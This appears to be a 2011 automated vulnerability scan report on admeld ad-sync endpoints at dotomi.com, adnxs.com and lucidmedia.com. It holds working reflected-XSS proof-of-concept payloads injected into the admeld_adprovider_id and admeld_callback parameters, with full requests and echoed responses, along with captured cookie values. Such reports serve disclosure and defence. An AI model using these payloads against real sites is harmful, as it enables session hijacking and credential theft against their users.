XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, admeld

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Apr 28 05:27:29 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Loading


1. Cross-site scripting (reflected)

1.1. http://admeld-match.dotomi.com/admeld/match [admeld_adprovider_id parameter]

1.2. http://admeld-match.dotomi.com/admeld/match [admeld_callback parameter]

1.3. http://admeld.adnxs.com/usersync [admeld_adprovider_id parameter]

1.4. http://admeld.adnxs.com/usersync [admeld_callback parameter]

1.5. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_adprovider_id parameter]

1.6. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_callback parameter]

2. Cookie scoped to parent domain

2.1. http://admeld.adnxs.com/usersync

2.2. http://admeld.lucidmedia.com/clicksense/admeld/match

3. Cross-domain Referer leakage

3.1. http://admeld-match.dotomi.com/admeld/match

3.2. http://admeld.adnxs.com/usersync

3.3. http://admeld.lucidmedia.com/clicksense/admeld/match

4. Cookie without HttpOnly flag set

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://admeld-match.dotomi.com/admeld/match [admeld_adprovider_id parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld-match.dotomi.com
Path:   /admeld/match

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a348c'%3balert(1)//e1f025d63a4 was submitted in the admeld_adprovider_id parameter. This input was echoed as a348c';alert(1)//e1f025d63a4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=78a348c'%3balert(1)//e1f025d63a4&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld-match.dotomi.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_atf?t=1303946366067&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=http%3A%2F%2Fwww.cbsnews.com%2Fstories%2F2011%2F04%2F27%2Fscitech%2Fmain20057741.shtml%3Ftag%3Dstack
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 23:20:29 GMT
X-Name: rtb-o04
Cache-Control: max-age=0, no-store
Content-Type: text/javascript
Connection: close
Content-Length: 160

document.write('<img src="http://tag.admeld.com/match?admeld_adprovider_id=78a348c';alert(1)//e1f025d63a4&external_user_id=0&expiration=1304205629" alt="" />');

1.2. http://admeld-match.dotomi.com/admeld/match [admeld_callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld-match.dotomi.com
Path:   /admeld/match

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7b58c'%3balert(1)//dad592a2a37 was submitted in the admeld_callback parameter. This input was echoed as 7b58c';alert(1)//dad592a2a37 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=78&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match7b58c'%3balert(1)//dad592a2a37 HTTP/1.1
Host: admeld-match.dotomi.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_atf?t=1303946366067&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=http%3A%2F%2Fwww.cbsnews.com%2Fstories%2F2011%2F04%2F27%2Fscitech%2Fmain20057741.shtml%3Ftag%3Dstack
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 23:20:32 GMT
X-Name: rtb-o06
Cache-Control: max-age=0, no-store
Content-Type: text/javascript
Connection: close
Content-Length: 160

document.write('<img src="http://tag.admeld.com/match7b58c';alert(1)//dad592a2a37?admeld_adprovider_id=78&external_user_id=0&expiration=1304205632" alt="" />');

1.3. http://admeld.adnxs.com/usersync [admeld_adprovider_id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld.adnxs.com
Path:   /usersync

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82349'-alert(1)-'22f081c26bf was submitted in the admeld_adprovider_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /usersync?calltype=admeld&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=19382349'-alert(1)-'22f081c26bf&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.adnxs.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_btf?t=1303946273585&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIImdYCEAoYASABKAEw2qLc7QQQ2qLc7QQYAA..; sess=1; uuid2=2724386019227846218; anj=Kfu=8fG3H<gj[2<?0P(*AuB-u**g1:XIC/YEhzW()U9M1kUGf3$2.f0R>9.aclgdU%p3G.wsgA#5B^/y%yo7!4az!Bs8L+-M%osqFWcxSx*meA9Z7:=o0?Z=_']Z<'!F+iv8//=P6:DnR0^:5vikVE*bv'Z+%Tc?M-=]4uB+1ccn3j+k2o<x>W$gK3Zb>nmW)1'%t/*#w5xXB'+K7$OZDTnHM`)s3*[`hUEAwY-atIxWZl9cDe%6-ZtpOORa]#STwYBtaP2Z*8B78<*XQoc.OKE+%wr()L(R3*STLrzS#1AAopHB@[+9%NA%e%d1>Ler!?bMpq=HRa:^cWU$pOz7Y`%fqR5mD7Vk$t?v0Da+bD$f?>zx7n3Nc@.8mOISoJhK9eg2Xe?*pq8%TuDe)_1Y3qRhU>:L>>!Dl(aK7$+Uj`9ZK_i*i7nx76s9#biF92J+j@=NZDq@F%Zd38Hw<vKX_^Lxqr/haEvfM5A.vE#yyrYG.xAt9aoHuF[:Dx!X-_o`Bu>JvlaRCtBqT(f-%Ek>TVDmy<g+ba]ASsIT?E$^xmFwtFzYq5f@6f#'/n

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Thu, 28-Apr-2011 23:18:18 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Tue, 26-Jul-2011 23:18:18 GMT; domain=.adnxs.com; HttpOnly
Content-Type: application/x-javascript
Date: Wed, 27 Apr 2011 23:18:18 GMT
Content-Length: 183

document.write('<img src="http://tag.admeld.com/match?admeld_adprovider_id=19382349'-alert(1)-'22f081c26bf&external_user_id=2724386019227846218&expiration=0" width="0" height="0"/>');

1.4. http://admeld.adnxs.com/usersync [admeld_callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld.adnxs.com
Path:   /usersync

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload df9d8'-alert(1)-'b49fb902e75 was submitted in the admeld_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /usersync?calltype=admeld&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=193&admeld_call_type=js&admeld_callback=http://tag.admeld.com/matchdf9d8'-alert(1)-'b49fb902e75 HTTP/1.1
Host: admeld.adnxs.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_btf?t=1303946273585&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIImdYCEAoYASABKAEw2qLc7QQQ2qLc7QQYAA..; sess=1; uuid2=2724386019227846218; anj=Kfu=8fG3H<gj[2<?0P(*AuB-u**g1:XIC/YEhzW()U9M1kUGf3$2.f0R>9.aclgdU%p3G.wsgA#5B^/y%yo7!4az!Bs8L+-M%osqFWcxSx*meA9Z7:=o0?Z=_']Z<'!F+iv8//=P6:DnR0^:5vikVE*bv'Z+%Tc?M-=]4uB+1ccn3j+k2o<x>W$gK3Zb>nmW)1'%t/*#w5xXB'+K7$OZDTnHM`)s3*[`hUEAwY-atIxWZl9cDe%6-ZtpOORa]#STwYBtaP2Z*8B78<*XQoc.OKE+%wr()L(R3*STLrzS#1AAopHB@[+9%NA%e%d1>Ler!?bMpq=HRa:^cWU$pOz7Y`%fqR5mD7Vk$t?v0Da+bD$f?>zx7n3Nc@.8mOISoJhK9eg2Xe?*pq8%TuDe)_1Y3qRhU>:L>>!Dl(aK7$+Uj`9ZK_i*i7nx76s9#biF92J+j@=NZDq@F%Zd38Hw<vKX_^Lxqr/haEvfM5A.vE#yyrYG.xAt9aoHuF[:Dx!X-_o`Bu>JvlaRCtBqT(f-%Ek>TVDmy<g+ba]ASsIT?E$^xmFwtFzYq5f@6f#'/n

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Thu, 28-Apr-2011 23:18:22 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Tue, 26-Jul-2011 23:18:22 GMT; domain=.adnxs.com; HttpOnly
Content-Type: application/x-javascript
Date: Wed, 27 Apr 2011 23:18:22 GMT
Content-Length: 183

document.write('<img src="http://tag.admeld.com/matchdf9d8'-alert(1)-'b49fb902e75?admeld_adprovider_id=193&external_user_id=2724386019227846218&expiration=0" width="0" height="0"/>');

1.5. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_adprovider_id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld.lucidmedia.com
Path:   /clicksense/admeld/match

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5fd3'%3balert(1)//cafcf215564 was submitted in the admeld_adprovider_id parameter. This input was echoed as b5fd3';alert(1)//cafcf215564 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73b5fd3'%3balert(1)//cafcf215564&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_atf?t=1303946366067&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=http%3A%2F%2Fwww.cbsnews.com%2Fstories%2F2011%2F04%2F27%2Fscitech%2Fmain20057741.shtml%3Ftag%3Dstack
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2xpe64Z76BY

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
P3P: CP=NOI ADM DEV CUR
Date: Wed, 27 Apr 2011 23:20:20 GMT
Expires: Wed, 27 Apr 2011 23:20:21 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Thu, 26-Apr-2012 23:20:21 GMT; Path=/
Content-Type: text/plain
Content-Length: 192
Connection: close

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match?admeld_adprovider_id=73b5fd3';alert(1)//cafcf215564&external_user_id=3419824627245671268"/>');

1.6. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admeld.lucidmedia.com
Path:   /clicksense/admeld/match

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e178a'%3balert(1)//58b8a20ff4d was submitted in the admeld_callback parameter. This input was echoed as e178a';alert(1)//58b8a20ff4d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73&admeld_call_type=js&admeld_callback=http://tag.admeld.com/matche178a'%3balert(1)//58b8a20ff4d HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_atf?t=1303946366067&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=http%3A%2F%2Fwww.cbsnews.com%2Fstories%2F2011%2F04%2F27%2Fscitech%2Fmain20057741.shtml%3Ftag%3Dstack
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2xpe64Z76BY

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
P3P: CP=NOI ADM DEV CUR
Date: Wed, 27 Apr 2011 23:20:21 GMT
Expires: Wed, 27 Apr 2011 23:20:21 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Thu, 26-Apr-2012 23:20:21 GMT; Path=/
Content-Type: text/plain
Content-Length: 192
Connection: close

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/matche178a';alert(1)//58b8a20ff4d?admeld_adprovider_id=73&external_user_id=3419824627245671268"/>');

2. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


2.1. http://admeld.adnxs.com/usersync  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://admeld.adnxs.com
Path:   /usersync

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /usersync?calltype=admeld&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=193&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.adnxs.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_btf?t=1303946273585&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIImdYCEAoYASABKAEw2qLc7QQQ2qLc7QQYAA..; sess=1; uuid2=2724386019227846218; anj=Kfu=8fG3H<gj[2<?0P(*AuB-u**g1:XIC/YEhzW()U9M1kUGf3$2.f0R>9.aclgdU%p3G.wsgA#5B^/y%yo7!4az!Bs8L+-M%osqFWcxSx*meA9Z7:=o0?Z=_']Z<'!F+iv8//=P6:DnR0^:5vikVE*bv'Z+%Tc?M-=]4uB+1ccn3j+k2o<x>W$gK3Zb>nmW)1'%t/*#w5xXB'+K7$OZDTnHM`)s3*[`hUEAwY-atIxWZl9cDe%6-ZtpOORa]#STwYBtaP2Z*8B78<*XQoc.OKE+%wr()L(R3*STLrzS#1AAopHB@[+9%NA%e%d1>Ler!?bMpq=HRa:^cWU$pOz7Y`%fqR5mD7Vk$t?v0Da+bD$f?>zx7n3Nc@.8mOISoJhK9eg2Xe?*pq8%TuDe)_1Y3qRhU>:L>>!Dl(aK7$+Uj`9ZK_i*i7nx76s9#biF92J+j@=NZDq@F%Zd38Hw<vKX_^Lxqr/haEvfM5A.vE#yyrYG.xAt9aoHuF[:Dx!X-_o`Bu>JvlaRCtBqT(f-%Ek>TVDmy<g+ba]ASsIT?E$^xmFwtFzYq5f@6f#'/n

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Thu, 28-Apr-2011 23:17:47 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Tue, 26-Jul-2011 23:17:47 GMT; domain=.adnxs.com; HttpOnly
Content-Type: application/x-javascript
Date: Wed, 27 Apr 2011 23:17:47 GMT
Content-Length: 155

document.write('<img src="http://tag.admeld.com/match?admeld_adprovider_id=193&external_user_id=2724386019227846218&expiration=0" width="0" height="0"/>');

2.2. http://admeld.lucidmedia.com/clicksense/admeld/match  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://admeld.lucidmedia.com
Path:   /clicksense/admeld/match

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_atf?t=1303946366067&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=http%3A%2F%2Fwww.cbsnews.com%2Fstories%2F2011%2F04%2F27%2Fscitech%2Fmain20057741.shtml%3Ftag%3Dstack
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2xpe64Z76BY

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
P3P: CP=NOI ADM DEV CUR
Date: Wed, 27 Apr 2011 23:20:19 GMT
Expires: Wed, 27 Apr 2011 23:20:20 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Thu, 26-Apr-2012 23:20:20 GMT; Path=/
Content-Type: text/plain
Content-Length: 164
Connection: close

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match?admeld_adprovider_id=73&external_user_id=3419824627245671268"/>');

3. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://admeld-match.dotomi.com/admeld/match  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://admeld-match.dotomi.com
Path:   /admeld/match

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=78&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld-match.dotomi.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_atf?t=1303946366067&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=http%3A%2F%2Fwww.cbsnews.com%2Fstories%2F2011%2F04%2F27%2Fscitech%2Fmain20057741.shtml%3Ftag%3Dstack
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 23:20:27 GMT
X-Name: rtb-o07
Cache-Control: max-age=0, no-store
Content-Type: text/javascript
Connection: close
Content-Length: 132

document.write('<img src="http://tag.admeld.com/match?admeld_adprovider_id=78&external_user_id=0&expiration=1304205627" alt="" />');

3.2. http://admeld.adnxs.com/usersync  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://admeld.adnxs.com
Path:   /usersync

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /usersync?calltype=admeld&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=193&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.adnxs.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_btf?t=1303946273585&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIImdYCEAoYASABKAEw2qLc7QQQ2qLc7QQYAA..; sess=1; uuid2=2724386019227846218; anj=Kfu=8fG3H<gj[2<?0P(*AuB-u**g1:XIC/YEhzW()U9M1kUGf3$2.f0R>9.aclgdU%p3G.wsgA#5B^/y%yo7!4az!Bs8L+-M%osqFWcxSx*meA9Z7:=o0?Z=_']Z<'!F+iv8//=P6:DnR0^:5vikVE*bv'Z+%Tc?M-=]4uB+1ccn3j+k2o<x>W$gK3Zb>nmW)1'%t/*#w5xXB'+K7$OZDTnHM`)s3*[`hUEAwY-atIxWZl9cDe%6-ZtpOORa]#STwYBtaP2Z*8B78<*XQoc.OKE+%wr()L(R3*STLrzS#1AAopHB@[+9%NA%e%d1>Ler!?bMpq=HRa:^cWU$pOz7Y`%fqR5mD7Vk$t?v0Da+bD$f?>zx7n3Nc@.8mOISoJhK9eg2Xe?*pq8%TuDe)_1Y3qRhU>:L>>!Dl(aK7$+Uj`9ZK_i*i7nx76s9#biF92J+j@=NZDq@F%Zd38Hw<vKX_^Lxqr/haEvfM5A.vE#yyrYG.xAt9aoHuF[:Dx!X-_o`Bu>JvlaRCtBqT(f-%Ek>TVDmy<g+ba]ASsIT?E$^xmFwtFzYq5f@6f#'/n

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Thu, 28-Apr-2011 23:17:47 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Tue, 26-Jul-2011 23:17:47 GMT; domain=.adnxs.com; HttpOnly
Content-Type: application/x-javascript
Date: Wed, 27 Apr 2011 23:17:47 GMT
Content-Length: 155

document.write('<img src="http://tag.admeld.com/match?admeld_adprovider_id=193&external_user_id=2724386019227846218&expiration=0" width="0" height="0"/>');

3.3. http://admeld.lucidmedia.com/clicksense/admeld/match  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://admeld.lucidmedia.com
